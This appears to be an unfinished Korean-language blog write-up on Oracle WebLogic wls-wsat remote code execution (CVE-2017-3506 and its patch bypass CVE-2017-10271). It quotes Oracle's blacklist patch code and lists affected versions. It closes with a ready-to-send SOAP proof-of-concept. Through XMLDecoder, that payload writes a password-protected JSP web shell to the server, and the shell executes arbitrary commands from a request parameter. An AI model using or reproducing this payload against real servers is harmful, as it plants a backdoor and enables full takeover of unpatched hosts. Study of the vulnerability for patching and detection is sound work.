
WebLogic wls-wsat RCE CVE-2017-10271
WebLogic wls-wsat RCE CVE-2017-10271
초기에 해커들은 WebLogic WLS 구성 요소 취약점을 이용하여 대규모 원격 공격을 기업 서버에 가했습니다. 많은 기업의 서버가 침해되었으며, 공격을 받은 기업 수가 현저히 증가하는 추세를 보여 큰 주의가 필요합니다. 그중 CVE-2017-3506은 Oracle WebLogic의 WLS 구성 요소를 이용한 원격 코드 실행 취약점으로, 공개되지 않은 세부 사항이 있는 제로데이 취약점이며, 많은 기업이 아직 패치를 제때 설치하지 않았습니다. 공식은 2017년 4월에 해당 취약점의 패치를 발표했습니다.
CVE-2017-3506 패치 설명:
public WorkContextXmlInputAdapter(InputStream is)
{
ByteArrayOutputStream baos = new ByteArrayOutputStream();
try
{
int next = 0;
next = is.read();
while (next != -1)
{
baos.write(next);
next = is.read();
}
}
catch (Exception e)
{
throw new IllegalStateException("Failed to get data from input stream", e);
}
validate(new ByteArrayInputStream(baos.toByteArray()));
this.xmlDecoder = new XMLDecoder(new ByteArrayInputStream(baos.toByteArray()));
}
private void validate(InputStream is)
{
WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
try
{
SAXParser parser = factory.newSAXParser();
parser.parse(is, new DefaultHandler()
{
public void startElement(String uri, String localName, String qName, Attributes attributes)
throws SAXException
{
if (qName.equalsIgnoreCase("object")) {
throw new IllegalStateException("Invalid context type: object");
}
}
});
}
catch (ParserConfigurationException e)
{
throw new IllegalStateException("Parser Exception", e);
}
catch (SAXException e)
{
throw new IllegalStateException("Parser Exception", e);
}
catch (IOException e)
{
throw new IllegalStateException("Parser Exception", e);
}
}
단순히 역직렬화 전에 validate 함수를 추가했으며, qName이 object와 같으면 예외를 던져 종료합니다. 참으로 단순하고 무식하지만, 이러한 블랙리스트 방식의 수정은 완전히 복구하기 어렵습니다. 생각해 볼 점이 있습니다…
이 취약점의 이용 방법은 비교적 간단합니다. 공격자는 정교하게 조작된 HTTP 요청을 보내기만 하면 대상 서버의 권한을 획득할 수 있어 피해가 막대합니다. 취약점이 비교적 최근에 발견되었기 때문에 아직 많은 호스트가 관련 패치를 업데이트하지 않은 상태입니다. 이번 긴급 상황 이후 공격 건수가 급증하고 새로운 호스트가 대량으로 침해될 가능성이 높습니다.
Oracle 공식 4월 패치는 CVE-2017-3506 취약점을 완전히 수정하지 못했습니다. 패치를 우회하여 여전히 원격 명령을 실행할 수 있습니다. CVE-2017-10271은 현재 우회된 취약점으로, 공식이 10월에 발표한 패치에서 수정되었습니다.
CVE-2017-3506 (wls-wsat 원격 명령 실행 취약점) CVE-2017-10271 (wls-wsat 원격 명령 실행 우회 취약점)
Oracle WebLogic Server 10.3.6.0.0 버전 Oracle WebLogic Server 12.1.3.0.0 버전 Oracle WebLogic Server 12.2.1.1.0 버전 Oracle WebLogic Server 12.2.1.2.0 버전
mitre: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-3506
Poc:
Content-Type: text/xml
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java><java version="1.4.0" class="java.beans.XMLDecoder"><object class="java.io.PrintWriter"> <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test1111111111.jsp</string><void method="println"><string><![CDATA[<% if("secfree".equals(request.getParameter("password"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("command")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
} %>]]></string></void><void method="close"/></object></java></java></work:WorkContext></soapenv:Header><soapenv:Body/></soapenv:Envelope>
작성을 마치지 못했습니다. 급한 일이 생겨서 나갑니다...